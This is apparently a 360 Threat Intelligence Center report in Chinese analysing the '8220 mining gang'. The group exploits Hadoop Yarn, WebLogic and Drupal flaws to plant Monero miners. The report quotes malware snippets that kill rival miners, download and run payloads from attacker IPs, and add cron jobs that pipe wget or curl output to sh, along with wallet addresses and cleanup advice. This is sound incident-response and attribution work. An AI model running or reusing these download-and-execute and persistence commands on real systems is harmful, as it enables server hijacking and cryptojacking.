背景

当今互联网的高速发展，孕育出了一批高新产业，如人工智能、分布式计算、区块链、无人驾驶等。这些高新技术为人们生活带来便利的同时，引发的安全问题也日益凸显。随着区块链技术的普及，其涉及的虚拟数字货币也创造了巨大的财富。这些虚拟货币可以通过“挖矿”的形式获取，“矿工”越多，利益越大。因此，近年来有越来越多的黑客团伙通过非法入侵控制互联网上的计算机并植入木马程序偷偷进行挖矿活动，为自己谋取暴利。

而在近期，360威胁情报中心根据某高校客户的反馈捕获到一批新的针对Linux平台的挖矿木马，而通过溯源关联分析发现这只是一个疑似国内来源的专业黑客团伙长期活动中的一部分。360威胁情报中心监测到该团伙在过去的一年非常活跃，使用了多个漏洞对网络中的服务器进行攻击：例如使用了WebLogic XMLDecoder反序列化漏洞、Drupal的远程任意代码执行漏洞、JBosss反序列化命令执行漏洞、Couchdb的组合漏洞、Redis、Hadoop未授权访问漏洞等入侵互联网中的服务器并植入挖矿木马长期获利。在一系列的攻击活动中，我们发现该团伙的C2服务器统一使用8220号端口，因此360威胁情报中心将该团伙命名为“8220挖矿团伙”，并在后续的分析中以此代号对该团伙进行相关分析。

来源

近日，360威胁情报中心接到某高校客户反馈：最近几台用做分布式计算的服务器出现机器不稳定、卡顿、服务响应不及时等现象，他们通过对系统性能的检查，发现CPU利用率高达700%，这使得他们感到疑惑。360威胁情报中心协助用户对此事件进行了跟进分析，发现这是一起攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击并植入了最新的门罗币挖矿木马进行挖矿的安全事件。

问题排查

在获得客户同意后，360威胁情报中心研究人员对存在问题的Linux服务器进行了远程排查，发现攻击者是通过未打补丁的Hadoop Yarn资源管理系统入侵服务器的。进一步排查后获取到一个最新的Linux挖矿木马，排查过程如下。（怀疑自己中了同类挖矿木马的用户，可以使用如下命令进行自检，清理方案详见安全建议一节。）

l  首先执行$ top命令，检查系统运行状态，此台Linux服务器的CPU利用率为732%

l  再执行$ ps aux |grep [pid]命令，定位到可疑的挖矿木马文件，位于/var/tmp/目录下

l  继续执行$ hadoopversion命令，检查Hadoop版本，当前Linux服务器上安装的Hadoop版本号为2.6.0（此版本支持认证服务，但若未开启，攻击者则可通过Hadoop Yarn资源管理系统REST API未授权漏洞入侵系统）

l  执行$ crontab-u yarn -l命令，检查任务计划，yarn用户每分钟向C2地址发起请求，获取最新脚本文件

l  执行$ head/var/log/cron-20180617命令（实际操作中需要查看对应的日志文件），检查任务计划日志，发现挖矿木马在6月10日替换过C2地址

通过上述操作，我们定位到了此次事件中的门罗币挖矿木马程序和核心控制脚本，并进行了详细分析，分析情况见样本分析一节。

攻击植入过程分析

通过对其中某台服务器检查，360威胁情报中心初步判定攻击者利用了Hadoop Yarn REST API未授权漏洞入侵了这些服务器，从而植入挖矿木马实现获利：

360威胁情报中心分析了整个攻击植入流程如下：

样本分析

相关样本

我们将此次事件中挖矿木马的核心文件以列表的形式整理如下，并逐一进行分析：

样本分析--cr.sh核心脚本

攻击者利用YARN默认开放的8088端口服务，向服务器提交恶意作业，该作业包含远程下载并执行Shell脚本的命令。下载回来的脚本cr.sh完成如下功能：

1、  清理主机环境：停止、删除主机已经存在的其他挖矿程序

2、  检查主机环境：检查指定的挖矿程序是否已经存在

3、  配置主机环境：下载挖矿程序和配置文件并执行

4、  持续感染主机：设置任务计划，保持更新，持续感染主机

5、  清理任务计划：清除其他挖矿相关的任务计划

清理主机环境代码片段：结束当前主机正在运行的其他已知挖矿程序并删除，已知挖矿程序的文件名如pscf、ntpd、ntp、qq、qq1等：

...

ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9

rm -rf /var/tmp/pscf*

rm -rf /tmp/pscf*

pkill -f ririg

rm -rf /var/tmp/ntpd

pkill -f /var/tmp/ntpd

rm -rf /var/tmp/ntp

pkill -f /var/tmp/ntp

rm -rf /var/tmp/qq

rm -rf /var/tmp/qq1

pkill -f /var/tmp/qq

rm -rf /tmp/qq

rm -rf /tmp/qq1

pkill -f /tmp/qq

pkill -f /var/tmp/aa

rm -rf /var/tmp/aa

...

核心功能代码片段：代码会先检查本地挖矿程序是否已经存在，如果不存在则调用downloadIfNeed函数，该函数会检查并下载最新的挖矿程序和配置文件。downloadIfNeed函数执行完成之后，会利用nohup命令后台执行挖矿程序，同时删除配置文件，防止泄漏个人钱包地址，矿池地址等：

...

if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];

then

    downloadIfNeed

    chmod +x $DIR/java

    $WGET $DIR/w.conf https://raw.githubusercontent.com/ffazop1/mygit/master/w.conf

    nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &

    sleep 5

    rm -rf $DIR/w.conf

else

    echo "Running"

fi

...

任务计划相关代码片段：代码会检查当前任务计划中，是否存在46.249.38.186地址，如果没有，则会写入利用curl或者wget下载并执行cr.sh脚本的任务计划，同时会调用pkill命令结束其他已知的挖矿进程、清理其他挖矿脚本的任务计划：

...

if crontab -l | grep -q "46.249.38.186"

then

    echo "Cron exists"

else

    echo "Cron not found"

    LDR="wget -q -O -"

    if [ -s /usr/bin/curl ];

    then

        LDR="curl";

    fi

    if [ -s /usr/bin/wget ];

    then

        LDR="wget -q -O -";

    fi

    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -

fi

pkill -f logo4.jpg

pkill -f logo0.jpg

pkill -f logo9.jpg

pkill -f jvs

pkill -f javs

pkill -f 192.99.142.248

rm -rf /tmp/pscd*

rm -rf /var/tmp/pscd*

crontab -l | sed '/192.99.142.232/d' | crontab -

crontab -l | sed '/192.99.142.226/d' | crontab -

crontab -l | sed '/192.99.142.248/d' | crontab -

crontab -l | sed '/45.77.86.208/d' | crontab -

...

样本分析--挖矿程序

cr.sh脚本中内置了两个挖矿程序的MD5，如果当前主机中的挖矿程序MD5不在这两个MD5中，则cr.sh会从指定的服务器上下载对应的挖矿程序。

通过360威胁情报中心大数据分析平台，我们获取到这两个MD5对应对文件。经过简单分析，这两个文件分别为Linux下的32位和64位挖矿程序，并且都是基于XMRig[2]开源挖矿工具修改的。挖矿程序支持如下命令：

32位挖矿程序基于XMRig2.5.2版本修改，2016年编译生成，程序中内置1个钱包地址：48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD，属于开源挖矿软件作者，用于抽水。

64位挖矿程序基于XMRig2.6.2修改，2017年编译生成，程序中内置两个钱包地址，一个属于开源软件作者，另一个钱包地址：46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S，则可定位到开源项目cpuhunter[3]。

样本分析--w.conf配置文件

cr.sh脚本同时会从指定的服务器上下载挖矿配置文件，作为参数传递给挖矿程序，并在挖矿开始后删除该配置文件，保证隐私性。我们通过配置文件中的钱包地址和矿池地址信息关联到了“8220挖矿团伙”大量利用服务器漏洞进行入侵挖矿的攻击事件，详见溯源与关联一节。

C2信息

本次事件中，攻击者使用了Github作为云分发平台，保存挖矿程序和配置文件。360威胁情报中心数据平台显示，该攻击者会不定期的创建删除Github账号，保证可用性及隐私性。

已使用的Github账户名（均已删除）：

l  ffazop1

l  zzgamond1

Github项目地址（均已删除）：

l  https://raw.githubusercontent.com/ffazop1/mygit/master/w.conf

l  https://raw.githubusercontent.com/ffazop1/mygit/master/x_64

l  https://raw.githubusercontent.com/zzgamond1/mygit/master/w.conf

l  https://raw.githubusercontent.com/zzgamond1/mygit/master/x_64

溯源与关联

使用360威胁情报中心数据分析平台对此次事件中出现的文件、IP地址、端口、关键字、钱包地址、MD5等进行关联分析，我们跟踪到一个疑似国内来源的挖矿黑客团伙，在该团伙所有的挖矿攻击活动中都拥有以下共同特点，使得360威胁情报中心将这些挖矿攻击事件全部关联到同一伙人身上：

l  端口关联

在多起事件中，出现的C2服务器统一使用8220号端口，因此我们可将其作为身份识别的一个弱特征。

l  文件名关联

在多起事件中，重复使用了相同的文件名，例如1.ps1、2.ps1、logo0.jpg、logo2.jpg、logo3.jpg、logo4.jpg、logo7.jpg等，因此我们也将其作为身份识别的一个弱特征。

l  钱包地址关联

从同一个C2上，我们获取到该团伙不同时期使用的两个脚本，这两个脚本包含了两个不同的门罗币钱包地址，并且这两个钱包地址在这些事件中都有使用。考虑钱包的私有特性，我们可将其作为身份识别的一个强特征。

且通过大数据分析显示，该团伙已经存在很长时间，并且在过去一年中异常活跃，在几起曝光的严重漏洞攻击事件中，都有该团伙的身影。另外从关联的信息中，我们发现该团伙的挖矿活动涉及Linux和Windows平台。种种迹象表明，该团伙不断在积累自身的网络攻击武器库，以支撑他们对网络中存在漏洞的主机进行自动化的攻击，最终拿下主机并实现挖矿的目的。

并且360威胁情报中心推测该团伙是利用Docker进行C2服务器自动化部署工作，导致这些C2统一使用8220号端口与木马进行通信。因此360威胁情报中心将该团伙命名为“8220挖矿团伙”：

运行在C2服务器8220端口上的Apache服务

攻击活动时间线

通过对关联信息的整理归纳，我们绘制了过去一年与该团伙相关的攻击活动的时间图：

活动图中的时间顺序仅为我们发现该团伙最早的活动时间，并不表示该团伙只在此时间段利用此漏洞。相应的，此图直观体现了该团伙积累了较多的网络攻击武器。我们有理由相信，还有大量关于该团伙的未被曝光的攻击事件。

攻击手法

360威胁情报中心将溯源关联到的“8220挖矿团伙”近年来所有的攻击事件和攻击手法逐一进行分析。我们详细介绍其中的两类漏洞利用相关的攻击事件，其他的以列表的形式整理在后文。

WebLogic漏洞攻击事件（清理同类挖矿木马保证一家独大）

通过360威胁情报中心数据平台，我们发现了一起利用WebLogic漏洞进行入侵服务器并进行挖矿的攻击活动。在此活动中，攻击者使用了相同的钱包地址，因此我们也将其确定为“8220挖矿团伙”所为。

攻击者利用WebLogicXMLDecoder反序列化漏洞（编号CVE-2017-10271[4]）攻击服务器，并获取服务器控制权限，进而植入挖矿木马进行挖矿。该漏洞出现在WebLogic Server Security Service中，影响WebLogic Server12.2.1.2.0及其之前的版本。利用此漏洞，攻击者下载名为2.ps1的PowerShell脚本并执行。脚本进而会下载挖矿木马程序，进行挖矿活动。同时，该脚本也会终止其他挖矿程序运行，保证自己独占CPU资源。

PowerShell脚本会从192.99.142.232:8220服务器下载xmrig.exe挖矿程序，以yam.exe的文件名保存在本地，通过cmd.exe启动挖矿程序，同时传入矿池地址，钱包地址，密码信息：

$ne = $MyInvocation.MyCommand.Path

$nurl = "http://192.99.142.232:8220/xmrig.exe"

$noutput = "$env:TMP\yam.exe"

$vc = New-Object System.Net.WebClient

$vc.DownloadFile($nurl,$noutput)

copy $ne $HOME\SchTask.ps1

copy $env:TMP\yam.exe $env:TMP\pe.exe

SchTasks.exe /Create /SC MINUTE /TN "Update service for Oracle productsa" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File 

...

cmd.exe /C taskkill /IM 360rps.exe /f

cmd.exe /C $env:TMP\pe.exe --donate-level=1 -k -a cryptonight -o stratum+tcp://monerohash.com:5555 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x

Drupal漏洞利用

通过对C2地址的深度挖掘，我们发现一篇今年4月国外安全厂商发布的报告[5]。报告中提到了两种利用Drupal远程任意代码执行漏洞（编号CVE-2018-7600[6]）的挖矿木马程序，通过钱包地址的关联，确定其中一种挖矿木马也是“8220挖矿团伙”所拥有。

而Drupal的远程任意代码执行漏洞是由于Drupal对表单的渲染引起的。为了能够在表单渲染对过程中动态修改数据，Drupal引入了“Drupal Render API”机制[7]，“Drupal Render API”对于#会进行特殊处理，其中#pre_render在render之前操作数组，#post_render接收render的结果并在其添加包装，#lazy_builder用于在render过程的最后添加元素。由于对于部分#属性数组值，Drupal会通过call_user_func的方式进行处理，导致任意代码执行。漏洞验证POC[8]，利用此POC可快速验证Drupal是否存在该漏洞。

 “8220挖矿团伙”利用此漏洞下载并执行挖矿程序。其中的Shell恶意脚本代码将wget -q http://192.99.142.235:8220/logo4.jpg -O - | sh命令写入任务计划，实现对服务器的持续感染。同时从192.99.142.235:8220下载配置文件3.json和挖矿程序rig，分别保存为config.json和sustes，最后利用nohup命令在后台运行挖矿。

...

crontab -r || true && \

echo "* * * * * wget -q http://192.99.142.235:8220/logo4.jpg -O - | sh" >> /tmp/cron || true && \

crontab /tmp/cron || true && \

rm -rf /tmp/cron || true && \

wget -O /var/tmp/config.json http://192.99.142.235:8220/3.json

wget -O /var/tmp/sustes http://192.99.142.235:8220/rig

chmod 777 /var/tmp/sustes

cd /var/tmp

proc=`grep -c ^processor /proc/cpuinfo`

cores=$((($proc+1)/2))

num=$(($cores*3))

/sbin/sysctl -w vm.nr_hugepages=`$num`

nohup ./sustes -c config.json -t `echo $cores` >/dev/null &

...

其它漏洞利用列表

Docker镜像利用

360威胁情报中心还发现国外一篇关于Docker Hub镜像的安全研究报告[12]中，疑似出现“8220挖矿团伙”的身影。报告指出，从2017年05月注册账号开始，到2018年05月删除账号结束，该账号陆续上传了17个恶意docker镜像，镜像下载量达到500万次以上。这些镜像的功能大致可分为如下四类：

1、  反弹主机的SHELL

2、  向主机中添加SSH公钥

3、  在主机中添加任务计划

4、  利用镜像完成挖矿

通过对报告中出现的钱包信息，C2信息等，结合360威胁情报中心数据平台关联的同一时间段信息，我们确定此账号为“8220挖矿团伙”所拥有。更加证实了我们关于这是一支专业挖矿团伙的判定。

“8220挖矿团伙”挖矿信息统计

360威胁情报中心统计了“8220挖矿团伙”近年来所有攻击活动中常用的钱包信息、收益状况等如下。

钱包信息

钱包1

l  钱包地址：

41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo

l  Monerohash上的有效期：? -- 2018/5/08

l  总收益：90.1934XMR（仅Monerohash公开矿池）

l  交易记录截图

钱包2

l  钱包地址：

4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

l  Monerohash上的有效期：2018/5/15 -- 今

l  总收益：140.3400XMR（仅Monerohash公开矿池）

l  交易记录截图

收益汇总及评估

仅看Monerohash公开矿池的交易记录，“8220挖矿团伙”累计获取超过230枚门罗币。其中，钱包2提供的算力高达365KH/sec，占Monerohash矿池算力的7%左右。做个简单估算，以INTELCORE I5-2400处理器作为参考，核心全开的情况下算力大约在70H/sec左右，那么相当于大约有5200台服务器在同一时间为该团伙进行挖矿。

通过查询其他相关公开矿池的交易记录，此团伙累计获取超过1000枚门罗币，按照市价974元/枚计算，其价值将近100万元人民币。考虑还有未统计的公开矿池及无法查询的私有矿池，保守估计该团伙累计获益已达数百万。

钱包信息关联

从以上交易截图中可观察出，“8220挖矿团伙”前期使用的钱包1在今年4月时，被安全厂商标注为Botnet，各大公开矿池也将其列入黑名单，禁止接入挖矿。此后，该团伙使用了另一个钱包2，在大型矿池挖矿，并持续至今。

攻击者画像-疑似国内团伙

我们对涉及的样本做了简单的统计如下：

配置文件使用过的名称：

l  w.conf、dd1.conf、gg1.conf、test.conf、tes.conf、hh1.conf

l  kkk1.conf、ttt1.conf、ooo1.conf、ppp1.conf

挖矿程序使用过的名称：

l  nginx、suppoie、java、mysql、cpu.c、ntpd、psping、java-c、pscf、

l  cryptonight、sustes、xmr-stak、ririg、ntp、qq、aa、ubyx

l  logo4.jpg、logo0.jpg、logo9.jpg

l  apaqi、dajiba、look、orgfs、crant、jvs、javs

通过对相关样本的统计分析，结合其具有中文特色命名的特点、交易发生的时间（统计分析主要集中在UTC+8时区）及其他一些信息，我们怀疑这是一支来源于国内的挖矿团伙。360威胁情报中心后续将继续跟进该团伙，采集更多信息对其进行全方位网络画像。

总结及安全建议

针对此次高校服务器挖矿事件中出现的恶意样本，360威胁情报中心建议用户使用如下步骤检测及清理疑似中招的服务器：

1、   使用top查看进程，KILL掉异常进程

2、   检查/var/tmp目录，删除java、pscf3、w.conf等异常文件

3、   检查crontab任务列表，删除异常任务

4、   检查YARN日志，删除异常的Application ID

5、   开启Hadoop Kerberos认证服务

而对于日益严重的入侵网络服务器植入挖矿木马的攻击事件（现阶段几乎是黑客团伙最喜欢的攻击获利方式之一），360威胁情报中心建议企业客户尽量做好以下防范措施：

l  定期对服务器进行加固，尽早修复服务器相关安全漏洞，如有条件务必安装服务器端的安全软件

l  当发现主机存在挖矿木马时，务必立即进行全方位的检查，必要时请联系专业的安全公司进行协助处理

l  关注360威胁情报中心更新的最新安全通告，对相应的安全威胁及时进行排查

目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360 NGSOC等，都已经支持对此挖矿团伙攻击活动的实时检测和相关未知攻击的预警。

IOC

矿池地址及C2

相关样本

参考

[1].https://groups.google.com/a/dcos.io/d/topic/users/NF4wMQ2VrJ8

[2].https://github.com/xmrig/xmrig

[3].https://github.com/lukacci/cpuhunter

[4].http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271

[5].https://www.blueliv.com/blog-news/research/drupalgeddon2-sa-core-2018-002-cve-2018-7600/

[6].http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600

[7].https://cert.360.cn/report/detail?id=c92cfff2634a44c8b1d6bd5e64c07f3d

[8].https://github.com/a2u/CVE-2018-7600

[9].http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12149

[10].http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12635

[11].http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12636

[12].https://kromtech.com/blog/security-center/cryptojacking-invades-cloud-how-modern-containerization-trend-is-exploited-by-attackers

[13].https://www.reddit.com/r/MoneroMining/comments/7nv8h6/xmrig_hackers/

[14].https://blog.csdn.net/Dancen/article/details/75313424

[15].https://www.cnblogs.com/birdstudio/p/7650622.html

[16].https://www.fireeye.com/blog/threat-research/2018/02/cve-2017-10271-used-to-deliver-cryptominers.html

原文链接

https://ti.360.net/blog/articles/8220-mining-gang-in-china/